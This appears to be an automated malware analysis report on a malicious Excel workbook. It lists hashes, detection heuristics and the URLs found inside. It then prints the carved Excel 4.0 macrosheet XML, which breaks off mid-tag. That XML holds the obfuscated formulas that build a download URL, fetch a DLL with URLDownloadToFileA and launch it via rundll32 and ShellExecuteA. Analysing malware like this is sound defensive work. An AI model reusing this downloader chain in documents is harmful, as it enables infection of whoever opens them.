Office (OOXML) malware analysis — malicious · 80fc70cd0fb190df

MALICIOUS

Office (OOXML)

94.6 KB Created: 2020-05-17 21:19:31 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-07-24

MD5: 1698111053147f3e0c1dfbd365f0644a SHA-1: 1a6ac86231c1be78bd5f7c69cbd4f2ac1c4e6460 SHA-256: 80fc70cd0fb190df0fc1c478aa235c35fc8c33ae4babf7e2da7963996cee957e

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous functions such as 'RUN' to execute arbitrary code, evidenced by formulas like 'RUN($CM$1959)' and 'RUN($AD$115)'. These functions are likely used to download and execute a second-stage payload from the unknown URLs provided. The use of 'CALL' and 'HALT' functions further supports the malicious intent.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 23 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://ethnicityun.at/3/pbs.dll In document text (OOXML body / shared strings)
- https://ethnicityun.at/3/pbsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	59473 bytes
SHA-256: `6e277a641b2c7e00aaec82ac97943e64007166567cadcaaf6397a88d90177e45`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A3:IO1993"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="3" spans="125:191" x14ac:dyDescent="0.25"><c r="GI3"><v>59</v></c></row><row r="5" spans="125:191" x14ac:dyDescent="0.25"><c r="FO5" t="str"><f>CHAR($AR$1190-379)</f><v>p</v></c></row><row r="14" spans="125:191" x14ac:dyDescent="0.25"><c r="DU14"><v>425</v></c></row><row r="15" spans="125:191" x14ac:dyDescent="0.25"><c r="FH15" t="b"><f>RUN($CM$1959)</f><v>0</v></c></row><row r="16" spans="125:191" x14ac:dyDescent="0.25"><c r="DZ16"><v>288</v></c></row><row r="18" spans="48:197" x14ac:dyDescent="0.25"><c r="CX18" t="b"><f>RUN($AD$115)</f><v>0</v></c><c r="GO18" t="str"><f>CONCATENATE($BY$581,$DG$44,$IN$1874,$E$1110,$Y$1563,$FK$1761,$EV$959,$A$162)</f><v>Kernel32</v></c></row><row r="21" spans="48:197" x14ac:dyDescent="0.25"><c r="AV21"><v>99</v></c></row><row r="30" spans="48:197" x14ac:dyDescent="0.25"><c r="FA30" t="b"><f>RUN($L$1307)</f><v>0</v></c></row><row r="31" spans="48:197" x14ac:dyDescent="0.25"><c r="EA31" t="str"><f>CHAR($GO$785-587)</f><v>a</v></c></row><row r="32" spans="48:197" x14ac:dyDescent="0.25"><c r="GB32" t="str"><f>CONCATENATE($BD$1031,$IM$862,$BG$1712,$AD$1983,$FI$1746,$EC$1591)</f><v>URLMON</v></c></row><row r="36" spans="56:227" x14ac:dyDescent="0.25"><c r="CE36"><v>496</v></c><c r="DK36"><v>425</v></c></row><row r="37" spans="56:227" x14ac:dyDescent="0.25"><c r="BD37"><v>57</v></c></row><row r="40" spans="56:227" x14ac:dyDescent="0.25"><c r="HS40"><v>703</v></c></row><row r="44" spans="56:227" x14ac:dyDescent="0.25"><c r="DG44" t="str"><f>CHAR($HP$1198-655)</f><v>e</v></c></row><row r="47" spans="56:227" x14ac:dyDescent="0.25"><c r="FZ47" t="str"><f>CHAR($CU$1382-379)</f><v>/</v></c></row><row r="48" spans="56:227" x14ac:dyDescent="0.25"><c r="GZ48"><v>48</v></c></row><row r="52" spans="54:239" x14ac:dyDescent="0.25"><c r="CN52" t="str"><f>CHAR($CE$36-379)</f><v>u</v></c></row><row r="54" spans="54:239" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$HH$1408</f><v>https://ethnicityun.at/3/pbs.dll</v></c><c r="BG54" t="str"><f>CONCATENATE($AX$1594,$IE$246,$EW$1272,$EA$31,$EO$1215,$GL$803,$I$1977,$AB$407,$GS$364,$BL$1123,$CV$1722,$DH$1226,$DX$1807,$BD$1516,$C$652,$FK$1843)</f><v>CreateDirectoryA</v></c><c r="IE54" t="b"><f>RUN($HL$532)</f><v>0</v></c></row><row r="62" spans="54:239" x14ac:dyDescent="0.25"><c r="DL62"><v>483</v></c></row><row r="67" spans="28:229" x14ac:dyDescent="0.25"><c r="DU67"><v>2</v></c></row><row r="71" spans="28:229" x14ac:dyDescent="0.25"><c r="AB71" t="str"><f>CHAR($HH$74-379)</f><v>d</v></c></row><row r="72" spans="28:229" x14ac:dyDescent="0.25"><c r="AB72" t="str"><f>CONCATENATE($FS$170,$HX$576,$EI$1029,$HH$1324,$GJ$1868,$DT$114,$CT$1230,$GX$1561,$C$1297,$GO$790,$FK$640,$AE$1716,$FB$1166,$EH$1044,$DZ$1826,$FB$931,$B$502,$BV$1311,$G$125,$BC$833,$CY$1667,$GA$934,$BN$1245,$AF$1881,$GM$1352,$GS$168,$GN$1206,$CZ$806,$AP$1689)</f><v>C:\fkVOVzN\McgiazP\oIDrXgh.dl</v></c></row><row r="74" spans="28:229" x14ac:dyDescent="0.25"><c r="EW74"><v>46</v></c><c r="HH74"><v>479</v></c></row><row r="75" spans="28:229" x14ac:dyDescent="0.25"><c r="CH75"><v>82</v></c><c r="EU75"><v>695</v></c></row><row r="76" spans="28:229" x14ac:dyDescent="0.25"><c r="HU76"><v>95</v></c></row><row r="83" spans="17:177" x14ac:dyDescent="0.25"><c r="FU83" t="b"><f>RUN($BV$1537)</f><v>0</v></c></row><row r="85" spans="17:177" x14ac:dyDescent="0.25"><c r="Q85" t="str"><f>CHAR($AX$861-379)</f><v>y</v></c></row><row r="86" spans="17:177" x14ac:dyDescent="0.25"><c r="DG86"><v>41</v></c></row><row r="88" spans="17:177" x14ac:dyDescent="0.25"><c r="BQ88" t="b"><f>RUN($EC$1046)</f><v>0</v></c></row><row r="98" spans="18:219" x14ac:dyDescent="0.25"><c r="R98" t="b"><f>RUN($FK$1350)</f><v>0</v></c><c r="BR98" t="b"><f>RUN($EO$860)</f><v>0</v></c></row><row r="102" spans="18:219" x14ac:dyDescent="0.25"><c r="FP102"><v>288</v></c><c r="HK102" t="b"><f>RUN($FJ$635)</f><v>0</v></c></row><row r="103" spans="18:219" x14ac:dyDescent="0.25"><c r="DB103"><v>11</v></c></row><row r="105" spans="18:219" x14ac:dyDescent="0.25"><c r="AI105"><v>28</v></c></row><row r="106" spans="18:219" x14ac:dyDescent="0.25"><c r="AE106" t="str"><f>CONCATENATE($HL$1050,$IB$405,$FT$1519,$CU$1623)</f><v>Open</v></c></row><row r="110" spans="18:219" x14ac:dyDescent="0.25"><c r="HA110"><v>49</v></c></row><row r="112" spans="18:219" x14ac:dyDescent="0.25"><c r="EF112" t="b"><f>RUN($EQ$1884)</f><v>0</v></c></row><row r="114" spans="7:156" x14ac:dyDescent="0.25"><c r="DT114" t="str"><f>CHAR($FS$543-166)</f><v>V</v></c></row><row r="115" spans="7:156" x14ac:dyDescent="0.25"><c r="AD115" t="b"><f>RUN($BN$1881)</f><v>0</v></c><c r="CH115"><v>30</v></c></row><row r="125" spans="7:156" x14ac:dyDescent="0.25"><c r="G125" t="str"><f>CHAR($GX$1263-166)</f><v>\</v></c><c r="W125"><v>273</v></c></row><row r="127" spans="7:156" x14ac:dyDescent="0.25"><c r="EZ127"><v>94</v></c></row><row r="134" spans="42:239" x14ac:dyDescent="0.25"><c r="FF134"><v>90</v></c></row><row r="136" spans="42:239" x14ac:dyDescent="0.25"><c r="IE136" t="str"><f>CONCATENATE($AB$71,$IF$1067,$BW$918)</f><v>dll</v></c></row><row r="138" spans="42:239" x14ac:dyDescent="0.25"><c r="CL138"><v>269</v></c></row><row r="144" spans="42:239" x14ac:dyDescent="0.25"><c r="AP144"><v>56</v></c></row><row r="146" spans="72:245" x14ac:dyDescent="0.25"><c r="GS146"><v>60</v></c></row><row r="148" spans="72:245" x14ac:dyDescent="0.25"><c r="BT148" t="b"><f>RUN($FI$1248)</f><v>0</v></c></row><row r="151" spans="72:245" x14ac:dyDescent="0.25"><c r="HR151" t="str"><f>CHAR($GM$784-379)</f><v>s</v></c></row><row r="157" spans="72:245" x14ac:dyDescent="0.25"><c r="FS157" t="b"><f>RUN($A$1056)</f><v>0</v></c></row><row r="158" spans="72:245" x14ac:dyDescent="0.25"><c r="GJ158" t="str"><f>CHAR($GU$1418-587)</f><v>A</v></c></row><row r="160" spans="72:245" x14ac:dyDescent="0.25"><c r="IK160"><v>85</v></c></row><row r="162" spans="1:201" x14ac:dyDescent="0.25"><c r="A162" t="str"><f>CHAR($CD$1680-655)</f><v>2</v></c></row><row r="167" spans="1:201" x14ac:dyDescent="0.25"><c r="AX167"><v>4</v></c></row><row r="168" spans="1:201" x14ac:dyDescent="0.25"><c r="GS168" t="str"><f>CHAR($EI$1518-166)</f><v>h</v></c></row><row r="170" spans="1:201" x14ac:dyDescent="0.25"><c r="FS170" t="str"><f>CHAR($GM$468-166)</f><v>C</v></c></row><row r="175" spans="1:201" x14ac:dyDescent="0.25"><c r="AB175" t="b"><f>RUN($C$379)</f><v>0</v></c></row><row r="179" spans="49:212" x14ac:dyDescent="0.25"><c r="DC179"><v>734</v></c></row><row r="186" spans="49:212" x14ac:dyDescent="0.25"><c r="HB186" t="b"><f>RUN($ER$1325)</f><v>0</v></c><c r="HD186" t="b"><f>RUN($BS$995)</f><v>0</v></c></row><row r="188" spans="49:212" x14ac:dyDescent="0.25"><c r="AW188"><v>17</v></c></row><row r="191" spans="49:212" x14ac:dyDescent="0.25"><c r="GH191" t="b"><f>RUN($BK$1086)</f><v>0</v></c></row><row r="203" spans="181:188" x14ac:dyDescent="0.25"><c r="FY203"><v>76</v></c></row><row r="207" spans="181:188" x14ac:dyDescent="0.25"><c r="GF207"><v>22</v></c></row><row r="210" spans="11:164" x14ac:dyDescent="0.25"><c r="K210"><v>45</v></c></row><row r="215" spans="11:164" x14ac:dyDescent="0.25"><c r="FH215"><v>686</v></c></row><row r="226" spans="156:243" x14ac:dyDescent="0.25"><c r="FZ226"><v>698</v></c><c r="HN226"><v>30</v></c></row><row r="229" spans="156:243" x14ac:dyDescent="0.25"><c r="EZ229"><v>66</v></c></row><row r="231" spans="156:243" x14ac:dyDescent="0.25"><c r="II231" t="str"><f>CHAR($HS$1910-379)</f><v>s</v></c></row><row r="246" spans="33:239" x14ac:dyDescent="0.25"><c r="IE246" t="str"><f>CHAR($HI$842-587)</f><v>r</v></c></row><row r="250" spans="33:239" x14ac:dyDescent="0.25"><c r="CJ250"><v>16</v></c></row><row r="254" spans="33:239" x14ac:dyDescent="0.25"><c r="BW254" t="b"><f>RUN($DV$350)</f><v>0</v></c></row><row r="256" spans="33:239" x14ac:dyDescent="0.25"><c r="AG256" t="b"><f>RUN($FA$30)</f><v>0</v></c></row><row r="262" spans="22:194" x14ac:dyDescent="0.25"><c r="V262" t="b"><f>RUN($Q$589)</f><v>0</v></c></row><row r="263" spans="22:194" x14ac:dyDescent="0.25"><c r="CW263" t="b"><f>RUN($H$668)</f><v>0</v></c></row><row r="265" spans="22:194" x14ac:dyDescent="0.25"><c r="EL265" t="b"><f>RUN($HU$1097)</f><v>0</v></c><c r="GL265"><v>258</v></c></row><row r="266" spans="22:194" x14ac:dyDescent="0.25"><c r="CO266" t="b"><f>RUN($GZ$625)</f><v>0</v></c></row><row r="282" spans="88:187" x14ac:dyDescent="0.25"><c r="CJ282"><v>91</v></c></row><row r="284" spans="88:187" x14ac:dyDescent="0.25"><c r="GE284" t="b"><f>RUN($BR$98)</f><v>0</v></c></row><row r="290" spans="224:247" x14ac:dyDescent="0.25"><c r="IM290"><v>70</v></c></row><row r="296" spans="224:247" x14ac:dyDescent="0.25"><c r="HP296" t="str"><f>CHAR($FX$432-379)</f><v>/</v></c></row><row r="305" spans="38:235" x14ac:dyDescent="0.25"><c r="AL305" t="str"><f>CHAR($EC$1357-379)</f><v>c</v></c><c r="DL305" t="str"><f>CHAR($GB$1785-587)</f><v>A</v></c></row><row r="315" spans="38:235" x14ac:dyDescent="0.25"><c r="FU315"><v>49</v></c></row><row r="317" spans="38:235" x14ac:dyDescent="0.25"><c r="AV317" t="b"><f>RUN($IH$1761)</f><v>0</v></c></row><row r="318" spans="38:235" x14ac:dyDescent="0.25"><c r="BV318" t="b"><f>RUN($GC$1373)</f><v>0</v></c></row><row r="320" spans="38:235" x14ac:dyDescent="0.25"><c r="IA320" t="b"><f>RUN($CN$1307)</f><v>0</v></c></row><row r="323" spans="9:211" x14ac:dyDescent="0.25"><c r="HC323"><v>22</v></c></row><row r="332" spans="9:211" x14ac:dyDescent="0.25"><c r="I332" t="str"><f>CONCATENATE($AL$901,$BW$1389,$CL$604,$FO$5,$II$231,$EU$900,$AB$1265,$FZ$47,$FG$460,$EE$686,$FD$976,$BH$1614,$HO$649,$AL$305,$AL$1032,$ET$874,$Q$85,$CN$52,$GY$1449,$EG$1279,$A$1404,$GO$386,$HP$296,$BY$950,$BU$1272,$DH$1436,$GT$1487,$HR$151,$Q$986)</f><v>https://ethnicityun.at/3/pbs.</v></c></row><row r="342" spans="24:215" x14ac:dyDescent="0.25"><c r="FR342"><v>671</v></c><c r="HG342"><v>258</v></c></row><row r="347" spans="24:215" x14ac:dyDescent="0.25"><c r="FN347"><v>2</v></c></row><row r="350" spans="24:215" x14ac:dyDescent="0.25"><c r="X350" t="b"><f>RUN($GX$1521)</f><v>0</v></c><c r="BX350"><v>99</v></c><c r="DV350" t="b"><f>RUN($BM$946)</f><v>0</v></c></row><row r="351" spans="24:215" x14ac:dyDescent="0.25"><c r="EU351"><v>243</v></c></row><row r="354" spans="13:231" x14ac:dyDescent="0.25"><c r="HW354"><v>63</v></c></row><row r="355" spans="13:231" x14ac:dyDescent="0.25"><c r="GZ355" t="str"><f>CHAR($AZ$729-655)</f><v>l</v></c></row><row r="360" spans="13:231" x14ac:dyDescent="0.25"><c r="M360"><v>692</v></c><c r="EM360" t="str"><f>CHAR($BH$925-587)</f><v>x</v></c><c r="GK360"><v>35</v></c></row><row r="364" spans="13:231" x14ac:dyDescent="0.25"><c r="GS364" t="str"><f>CHAR($C$1896-587)</f><v>r</v></c></row><row r="368" spans="13:231" x14ac:dyDescent="0.25"><c r="AP368"><v>30</v></c><c r="FY368"><v>484</v></c></row><row r="374" spans="3:160" x14ac:dyDescent="0.25"><c r="FC374" t="b"><f>RUN($BX$532)</f><v>0</v></c></row><row r="376" spans="3:160" x14ac:dyDescent="0.25"><c r="K376"><v>263</v></c></row><row r="379" spans="3:160" x14ac:dyDescent="0.25"><c r="C379" t="b"><f>RUN($IA$320)</f><v>0</v></c></row><row r="383" spans="3:160" x14ac:dyDescent="0.25"><c r="FD383"><v>426</v></c></row><row r="384" spans="3:160" x14ac:dyDescent="0.25"><c r="BI384"><v>25</v></c></row><row r="386" spans="67:219" x14ac:dyDescent="0.25"><c r="GO386" t="str"><f>CHAR($DS$1663-379)</f><v>t</v></c></row><row r="391" spans="67:219" x14ac:dyDescent="0.25"><c r="BO391" t="b"><f>RUN($EM$702)</f><v>0</v></c></row><row r="394" spans="67:219" x14ac:dyDescent="0.25"><c r="HK394" t="b"><f>RUN($DB$1118)</f><v>0</v></c></row><row r="399" spans="67:219" x14ac:dyDescent="0.25"><c r="ET399"><f>CALL($FT$893,$CC$1841,"JCJ","C:\fkVOVzN",0)</f><v>0</v></c></row><row r="400" spans="67:219" x14ac:dyDescent="0.25"><c r="ET400"><f>CALL($FT$893,$CC$1841,"JCJ","C:\fkVOVzN\McgiazP",0)</f><v>0</v></c></row><row r="401" spans="2:236" x14ac:dyDescent="0.25"><c r="ET401"><f>CALL($HO$1089,$GJ$499, "JJCCJJ",0,$BB$54,$DB$606,0,0)</f><v>0</v></c><c r="FE401"><v>67</v></c></row><row r="402" spans="2:236" x14ac:dyDescent="0.25"><c r="B402"><v>97</v></c><c r="AF402"><v>437</v></c><c r="ET402"><f>CALL($FS$1051,$FE$532, "JJCCCCJ",0,$GP$1708,"rundll32.exe",$DB$606&",f1",0,0)</f><v>42</v></c></row><row r="405" spans="2:236" x14ac:dyDescent="0.25"><c r="IB405" t="str"><f>CHAR($BM$1991-587)</f><v>p</v></c></row><row r="406" spans="2:236" x14ac:dyDescent="0.25"><c r="K406"><v>80</v></c></row><row r="407" spans="2:236" x14ac:dyDescent="0.25"><c r="AB407" t="str"><f>CHAR($DX$561-587)</f><v>i</v></c><c r="ET407" t="b"><f>HALT()</f><v>1</v></c></row><row r="408" spans="2:236" x14ac:dyDescent="0.25"><c r="O408" t="b"><f>RUN($DQ$1504)</f><v>0</v></c></row><row r="414" spans="2:236" x14ac:dyDescent="0.25"><c r="CP414"><v>66</v></c></row><row r="416" spans="2:236" x14ac:dyDescent="0.25"><c r="BS416" t="b"><f>RUN($DG$1069)</f><v>0</v></c></row><row r="421" spans="46:180" x14ac:dyDescent="0.25"><c r="DC421"><v>476</v></c></row><row r="422" spans="46:180" x14ac:dyDescent="0.25"><c r="BI422"><v>82</v></c></row><row r="429" spans="46:180" x14ac:dyDescent="0.25"><c r="AT429" t="b"><f>RUN($EU$1765)</f><v>0</v></c></row><row r="432" spans="46:180" x14ac:dyDescent="0.25"><c r="FX432"><v>426</v></c></row><row r="434" spans="204:214" x14ac:dyDescent="0.25"><c r="HF434" t="b"><f>RUN($HB$186)</f><v>0</v></c></row><row r="446" spans="204:214" x14ac:dyDescent="0.25"><c r="GV446" t="b"><f>RUN($B$1140)</f><v>0</v></c></row><row r="450" spans="65:163" x14ac:dyDescent="0.25"><c r="BM450" t="b"><f>RUN($HX$1716)</f><v>0</v></c></row><row r="460" spans="65:163" x14ac:dyDescent="0.25"><c r="FG460" t="str"><f>CHAR($AH$1751-379)</f><v>e</v></c></row><row r="468" spans="48:242" x14ac:dyDescent="0.25"><c r="GM468"><v>233</v></c></row><row r="470" spans="48:242" x14ac:dyDescent="0.25"><c r="GV470"><v>491</v></c></row><row r="475" spans="48:242" x14ac:dyDescent="0.25"><c r="CW475"><v>18</v></c><c r="IH475" t="str"><f>CHAR($BI$1882-587)</f><v>h</v></c></row><row r="478" spans="48:242" x14ac:dyDescent="0.25"><c r="AV478" t="str"><f>CHAR($AF$1473-587)</f><v>R</v></c></row><row r="479" spans="48:242" x14ac:dyDescent="0.25"><c r="BE479" t="str"><f>CHAR($CP$1863-587)</f><v>e</v></c></row><row r="484" spans="68:186" x14ac:dyDescent="0.25"><c r="GD484"><v>769</v></c></row><row r="485" spans="68:186" x14ac:dyDescent="0.25"><c r="EE485" t="b"><f>RUN($IB$870)</f><v>0</v></c></row><row r="489" spans="68:186" x14ac:dyDescent="0.25"><c r="DY489" t="b"><f>RUN($FT$1988)</f><v>0</v></c></row><row r="490" spans="68:186" x14ac:dyDescent="0.25"><c r="EV490"><v>483</v></c></row><row r="493" spans="68:186" x14ac:dyDescent="0.25"><c r="BP493" t="b"><f>RUN($FF$1259)</f><v>0</v></c><c r="FQ493"><v>64</v></c></row><row r="499" spans="2:224" x14ac:dyDescent="0.25"><c r="EH499"><v>50</v></c><c r="GJ499" t="str"><f>CONCATENATE($GK$1970)</f><v>URLDownloadToFileA</v></c></row><row r="502" spans="2:224" x14ac:dyDescent="0.25"><c r="B502" t="str"><f>CHAR($DZ$16-166)</f><v>z</v></c></row><row r="504" spans="2:224" x14ac:dyDescent="0.25"><c r="BS504"><v>246</v></c><c r="CJ504"><v>61</v></c></row><row r="505" spans="2:224" x14ac:dyDescent="0.25"><c r="BG505" t="b"><f>RUN($GL$855)</f><v>0</v></c></row><row r="512" spans="2:224" x14ac:dyDescent="0.25"><c r="HP512"><v>61</v></c></row><row r="523" spans="188:188" x14ac:dyDescent="0.25"><c r="GF523"><v>94</v></c></row><row r="532" spans="47:220" x14ac:dyDescent="0.25"><c r="BX532" t="b"><f>RUN($FS$157)</f><v>0</v></c><c r="FE532" t="str"><f>CONCATENATE($DW$636)</f><v>ShellExecuteA</v></c><c r="HL532" t="b"><f>RUN($DW$563)</f><v>0</v></c></row><row r="535" spans="47:220" x14ac:dyDescent="0.25"><c r="AU535"><v>688</v></c></row><row r="541" spans="47:220" x14ac:dyDescent="0.25"><c r="FQ541" t="b"><f>RUN($HZ$1753)</f><v>0</v></c></row><row r="543" spans="47:220" x14ac:dyDescent="0.25"><c r="FS543"><v>252</v></c></row><row r="547" spans="100:232" x14ac:dyDescent="0.25"><c r="CV547"><v>254</v></c></row><row r="551" spans="100:232" x14ac:dyDescent="0.25"><c r="HQ551" t="str"><f>CHAR($AW$1014-587)</f><v>o</v></c></row><row r="558" spans="100:232" x14ac:dyDescent="0.25"><c r="HX558" t="b"><f>RUN($AB$175)</f><v>0</v></c></row><row r="561" spans="73:232" x14ac:dyDescent="0.25"><c r="DX561"><v>692</v></c></row><row r="563" spans="73:232" x14ac:dyDescent="0.25"><c r="DW563" t="b"><f>RUN($HD$186)</f><v>0</v></c></row><row r="567" spans="73:232" x14ac:dyDescent="0.25"><c r="GG567"><v>68</v></c></row><row r="570" spans="73:232" x14ac:dyDescent="0.25"><c r="BX570" t="str"><f>CHAR($EP$1761-587)</f><v>l</v></c></row><row r="572" spans="73:232" x14ac:dyDescent="0.25"><c r="GN572"><v>4</v></c></row><row r="576" spans="73:232" x14ac:dyDescent="0.25"><c r="BU576"><v>68</v></c><c r="HX576" t="str"><f>CHAR($GH$671-166)</f><v>:</v></c></row><row r="581" spans="17:247" x14ac:dyDescent="0.25"><c r="BY581" t="str"><f>CHAR($II$789-655)</f><v>K</v></c></row><row r="583" spans="17:247" x14ac:dyDescent="0.25"><c r="IM583"><v>1</v></c></row><row r="589" spans="17:247" x14ac:dyDescent="0.25"><c r="Q589" t="b"><f>RUN($HX$558)</f><v>0</v></c></row><row r="594" spans="33:222" x14ac:dyDescent="0.25"><c r="DF594" t="b"><f>RUN($EU$1558)</f><v>0</v></c></row><row r="596" spans="33:222" x14ac:dyDescent="0.25"><c r="AG596"><v>58</v></c></row><row r="601" spans="33:222" x14ac:dyDescent="0.25"><c r="FY601"><v>73</v></c></row><row r="604" spans="33:222" x14ac:dyDescent="0.25"><c r="CL604" t="str"><f>CHAR($EZ$1525-379)</f><v>t</v></c><c r="DK604" t="b"><f>RUN($HK$831)</f><v>0</v></c></row><row r="605" spans="33:222" x14ac:dyDescent="0.25"><c r="HN605" t="b"><f>RUN($AB$615)</f><v>0</v></c></row><row r="606" spans="33:222" x14ac:dyDescent="0.25"><c r="DB606" t="str"><f>CONCATENATE($AB$72,$CZ$1900)</f><v>C:\fkVOVzN\McgiazP\oIDrXgh.dll</v></c></row><row r="615" spans="28:196" x14ac:dyDescent="0.25"><c r="AB615" t="b"><f>RUN($BD$1761)</f><v>0</v></c></row><row r="617" spans="28:196" x14ac:dyDescent="0.25"><c r="GK617" t="b"><f>RUN($T$923)</f><v>0</v></c><c r="GN617" t="b"><f>RUN($GU$1532)</f><v>0</v></c></row><row r="625" spans="23:208" x14ac:dyDescent="0.25"><c r="DO625"><v>705</v></c><c r="GZ625" t="b"><f>RUN($DF$594)</f><v>0</v></c></row><row r="631" spans="23:208" x14ac:dyDescent="0.25"><c r="W631" t="str"><f>CHAR($CB$1684-587)</f><v>E</v></c></row><row r="633" spans="23:208" x14ac:dyDescent="0.25"><c r="AM633"><v>268</v></c></row><row r="635" spans="23:208" x14ac:dyDescent="0.25"><c r="FJ635" t="b"><f>RUN($HK$394)</f><v>0</v></c><c r="FO635"><v>657</v></c></row><row r="636" spans="23:208" x14ac:dyDescent="0.25"><c r="DW636" t="str"><f>CONCATENATE($FN$652,$IH$475,$AK$730,$R$1693,$BE$1661,$W$631,$EM$360,$O$1760,$IG$966,$A$1684,$CC$738,$CD$1319,$DL$305)</f><v>ShellExecuteA</v></c></row><row r="640" spans="23:208" x14ac:dyDescent="0.25"><c r="FK640" t="str"><f>CHAR($GL$265-166)</f><v>\</v></c></row><row r="642" spans="2:223" x14ac:dyDescent="0.25"><c r="B642" t="b"><f>RUN($GQ$1087)</f><v>0</v></c></row><row r="644" spans="2:223" x14ac:dyDescent="0.25"><c r="FT644"><v>73</v></c></row><row r="646" spans="2:223" x14ac:dyDescent="0.25"><c r="CH646"><v>244</v></c></row><row r="649" spans="2:223" x14ac:dyDescent="0.25"><c r="HO649" t="str"><f>CHAR($HP$899-379)</f><v>i</v></c></row><row r="652" spans="2:223" x14ac:dyDescent="0.25"><c r="C652" t="str"><f>CHAR($CB$1501-587)</f><v>y</v></c><c r="E652"><v>75</v></c><c r="FN652" t="str"><f>CHAR($HM$1246-587)</f><v>S</v></c></row><row r="657" spans="8:190" x14ac:dyDescent="0.25"><c r="CZ657"><v>96</v></c></row><row r="660" spans="8:190" x14ac:dyDescent="0.25"><c r="FV660"><v>94</v></c></row><row r="665" spans="8:190" x14ac:dyDescent="0.25"><c r="AV665"><v>7</v></c><c r="CO665" t="b"><f>RUN($EL$1071)</f><v>0</v></c><c r="EW665"><v>27</v></c></row><row r="668" spans="8:190" x14ac:dyDescent="0.25"><c r="H668" t="b"><f>RUN($DN$1315)</f><v>0</v></c><c r="AI668"><v>94</v></c></row><row r="669" spans="8:190" x14ac:dyDescent="0.25"><c r="GC669" t="b"><f>RUN($AN$1263)</f><v>0</v></c></row><row r="671" spans="8:190" x14ac:dyDescent="0.25"><c r="GH671"><v>224</v></c></row><row r="672" spans="8:190" x14ac:dyDescent="0.25"><c r="AB672"><v>99</v></c></row><row r="679" spans="83:206" x14ac:dyDescent="0.25"><c r="CE679" t="b"><f>RUN($HA$820)</f><v>0</v></c></row><row r="681" spans="83:206" x14ac:dyDescent="0.25"><c r="GX681"><v>688</v></c></row><row r="686" spans="83:206" x14ac:dyDescent="0.25"><c r="EE686" t="str"><f>CHAR($FI$871-379)</f><v>t</v></c></row><row r="689" spans="7:220" x14ac:dyDescent="0.25"><c r="G689"><v>50</v></c><c r="BD689"><v>698</v></c></row><row r="693" spans="7:220" x14ac:dyDescent="0.25"><c r="HL693" t="str"><f>CHAR($FX$1151-166)</f><v>l</v></c></row><row r="695" spans="7:220" x14ac:dyDescent="0.25"><c r="DO695"><v>78</v></c></row><row r="696" spans="7:220" x14ac:dyDescent="0.25"><c r="DQ696" t="str"><f>CHAR($FO$635-587)</f><v>F</v></c></row><row r="702" spans="7:220" x14ac:dyDescent="0.25"><c r="EM702" t="b"><f>RUN($Z$1782)</f><v>0</v></c></row><row r="708" spans="102:231" x14ac:dyDescent="0.25"><c r="FK708"><v>3</v></c></row><row r="710" spans="102:231" x14ac:dyDescent="0.25"><c r="HW710"><v>24</v></c></row><row r="714" spans="102:231" x14ac:dyDescent="0.25"><c r="CX714"><v>0</v></c><c r="DG714" t="b"><f>RUN($HK$102)</f><v>0</v></c></row><row r="723" spans="37:246" x14ac:dyDescent="0.25"><c r="AX723"><v>19</v></c></row><row r="725" spans="37:246" x14ac:dyDescent="0.25"><c r="EY725"><v>62</v></c></row><row r="729" spans="37:246" x14ac:dyDescent="0.25"><c r="AZ729"><v>763</v></c></row><row r="730" spans="37:246" x14ac:dyDescent="0.25"><c r="AK730" t="str"><f>CHAR($AU$535-587)</f><v>e</v></c><c r="IL730"><v>763</v></c></row><row r="738" spans="1:210" x14ac:dyDescent="0.25"><c r="A738"><v>686</v></c><c r="CC738" 